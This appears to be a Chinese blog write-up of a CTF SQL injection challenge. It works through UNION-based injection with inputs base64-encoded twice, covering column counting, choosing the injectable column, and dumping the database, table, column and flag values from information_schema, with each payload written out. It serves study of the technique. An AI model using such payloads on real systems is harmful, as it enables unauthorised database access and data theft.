热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

CTFWebSQL注入09注入列+sql语句变形

文章目录前言一、题目描述二、解题步骤1、sql语句变形2、猜测列数3、注入列的选择4、爆表、列、字段三、总结前言题目分类:CTF—Web—SQL注入—09—注入列


文章目录

  • 前言
  • 一、题目描述
  • 二、解题步骤
    • 1、sql语句变形
    • 2、猜测列数
    • 3、注入列的选择
    • 4、爆表、列、字段
  • 三、总结




前言

题目分类:

CTF—Web—SQL注入—09—注入列+sql语句变形




一、题目描述

题目:SQL注入
在这里插入图片描述


二、解题步骤


1、sql语句变形

Step1: TVE9PQ==是base64编码, 经两次解码后, 答案为数字1.

提示此次手工注入需输入的数据需经过两次base64编码的代码.


2、猜测列数

Step2: 尝试手工注入时, -1 union select 1,2#,

当尝试1,2,3列时,提示列数错误:The used SELECT statements have a different number of columns。

这表示前后联合查询的列数不一样,继续尝试查询的列数即可 在这里插入图片描述

Step3: 查询命令为: -1 union select 1,2,3,4#,证明列数为4列

Base64编码一次: LTEgdW5pb24gc2VsZWN0IDEsMiwzLDQj

Base64编码二次: TFRFZ2RXNXBiMjRnYzJWc1pXTjBJREVzTWl3ekxEUWo=
在这里插入图片描述


3、注入列的选择

Step4: 尝试**database()**放置列的位置, 3的位置不行, 4的可以.

查数据库语句:-1 union select 1,2,3,database()#

Base64编码二次: TFRFZ2RXNXBiMjRnYzJWc1pXTjBJREVzTWl3ekxHUmhkR0ZpWVhObEtDa2o=

表名为inject_paodingjieniu2

在这里插入图片描述


4、爆表、列、字段

Step5:查表语句:

-1 union select 1,2,3,table_name from Information_schema.tables where table_schema=”inject_paodingjieniu2”

Base64编码二次:
TFRFZ2RXNXBiMjRnYzJWc1pXTjBJREVzTWl3ekxIUmhZbXhsWDI1aGJXVWdabkp2YlNCSmJtWnZjbTFoZEdsdmJsOXpZMmhsYldFdWRHRmliR1Z6SUhkb1pYSmxJSFJoWW14bFgzTmphR1Z0WVQwaWFXNXFaV04wWDNCaGIyUnBibWRxYVdWdWFYVXlJZz09
在这里插入图片描述

Step6:查列语句:

-1 union select 1,2,3,column_name from Information_schema.columns where table_name="key_the1"

Base64编码二次:
TFRFZ2RXNXBiMjRnYzJWc1pXTjBJREVzTWl3ekxHTnZiSFZ0Ymw5dVlXMWxJR1p5YjIwZ1NXNW1iM0p0WVhScGIyNWZjMk5vWlcxaExtTnZiSFZ0Ym5NZ2QyaGxjbVVnZEdGaWJHVmZibUZ0WlQwaWEyVjVYM1JvWlRFaQ==

列名为thekey
在这里插入图片描述
Step7:查字段语句:-1 union select 1,2,3,thekey from key_the1

Base64编码二次:
TFRFZ2RXNXBiMjRnYzJWc1pXTjBJREVzTWl3ekxIUm9aV3RsZVNCbWNtOXRJR3RsZVY5MGFHVXhEUW89

Key为 E81BA0C569EC44E8

在这里插入图片描述




三、总结

1、选择注入列

在选择注入语句执行的结果列时,有时会出现查询不到的情况,换个位置继续注入即可

eg:union select 1,2,3,database()#,也就是database()放置位置的选择

2、SQL语句变形

此题为两次base64编码,之前遇到过URL编码


推荐阅读
  • 解决.net项目中未注册“microsoft.ACE.oledb.12.0”提供程序的方法
    在开发.net项目中,通过microsoft.ACE.oledb读取excel文件信息时,报错“未在本地计算机上注册“microsoft.ACE.oledb.12.0”提供程序”。本文提供了解决这个问题的方法,包括错误描述和代码示例。通过注册提供程序和修改连接字符串,可以成功读取excel文件信息。 ... [详细]
  • IhaveconfiguredanactionforaremotenotificationwhenitarrivestomyiOsapp.Iwanttwodiff ... [详细]
  • ZSI.generate.Wsdl2PythonError: unsupported local simpleType restriction ... [详细]
  • 图解redis的持久化存储机制RDB和AOF的原理和优缺点
    本文通过图解的方式介绍了redis的持久化存储机制RDB和AOF的原理和优缺点。RDB是将redis内存中的数据保存为快照文件,恢复速度较快但不支持拉链式快照。AOF是将操作日志保存到磁盘,实时存储数据但恢复速度较慢。文章详细分析了两种机制的优缺点,帮助读者更好地理解redis的持久化存储策略。 ... [详细]
  • Webmin远程命令执行漏洞复现及防护方法
    本文介绍了Webmin远程命令执行漏洞CVE-2019-15107的漏洞详情和复现方法,同时提供了防护方法。漏洞存在于Webmin的找回密码页面中,攻击者无需权限即可注入命令并执行任意系统命令。文章还提供了相关参考链接和搭建靶场的步骤。此外,还指出了参考链接中的数据包不准确的问题,并解释了漏洞触发的条件。最后,给出了防护方法以避免受到该漏洞的攻击。 ... [详细]
  • 本文详细介绍了MySQL表分区的创建、增加和删除方法,包括查看分区数据量和全库数据量的方法。欢迎大家阅读并给予点评。 ... [详细]
  • Oracle seg,V$TEMPSEG_USAGE与Oracle排序的关系及使用方法
    本文介绍了Oracle seg,V$TEMPSEG_USAGE与Oracle排序之间的关系,V$TEMPSEG_USAGE是V_$SORT_USAGE的同义词,通过查询dba_objects和dba_synonyms视图可以了解到它们的详细信息。同时,还探讨了V$TEMPSEG_USAGE的使用方法。 ... [详细]
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • Windows7 64位系统安装PLSQL Developer的步骤和注意事项
    本文介绍了在Windows7 64位系统上安装PLSQL Developer的步骤和注意事项。首先下载并安装PLSQL Developer,注意不要安装在默认目录下。然后下载Windows 32位的oracle instant client,并解压到指定路径。最后,按照自己的喜好对解压后的文件进行命名和压缩。 ... [详细]
  • 在Oracle11g以前版本中的的DataGuard物理备用数据库,可以以只读的方式打开数据库,但此时MediaRecovery利用日志进行数据同步的过 ... [详细]
  • MySQL语句大全:创建、授权、查询、修改等【MySQL】的使用方法详解
    本文详细介绍了MySQL语句的使用方法,包括创建用户、授权、查询、修改等操作。通过连接MySQL数据库,可以使用命令创建用户,并指定该用户在哪个主机上可以登录。同时,还可以设置用户的登录密码。通过本文,您可以全面了解MySQL语句的使用方法。 ... [详细]
  • 本文介绍了在使用Laravel和sqlsrv连接到SQL Server 2016时,如何在插入查询中使用输出子句,并返回所需的值。同时讨论了使用CreatedOn字段返回最近创建的行的解决方法以及使用Eloquent模型创建后,值正确插入数据库但没有返回uniqueidentifier字段的问题。最后给出了一个示例代码。 ... [详细]
  • 本文介绍了如何使用PHP代码将表格导出为UTF8格式的Excel文件。首先,需要连接到数据库并获取表格的列名。然后,设置文件名和文件指针,并将内容写入文件。最后,设置响应头部,将文件作为附件下载。 ... [详细]
  • Activiti7流程定义开发笔记
    本文介绍了Activiti7流程定义的开发笔记,包括流程定义的概念、使用activiti-explorer和activiti-eclipse-designer进行建模的方式,以及生成流程图的方法。还介绍了流程定义部署的概念和步骤,包括将bpmn和png文件添加部署到activiti数据库中的方法,以及使用ZIP包进行部署的方式。同时还提到了activiti.cfg.xml文件的作用。 ... [详细]
  • 本文介绍了在go语言中利用(*interface{})(nil)传递参数类型的原理及应用。通过分析Martini框架中的injector类型的声明,解释了values映射表的作用以及parent Injector的含义。同时,讨论了该技术在实际开发中的应用场景。 ... [详细]
author-avatar
慕容春
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有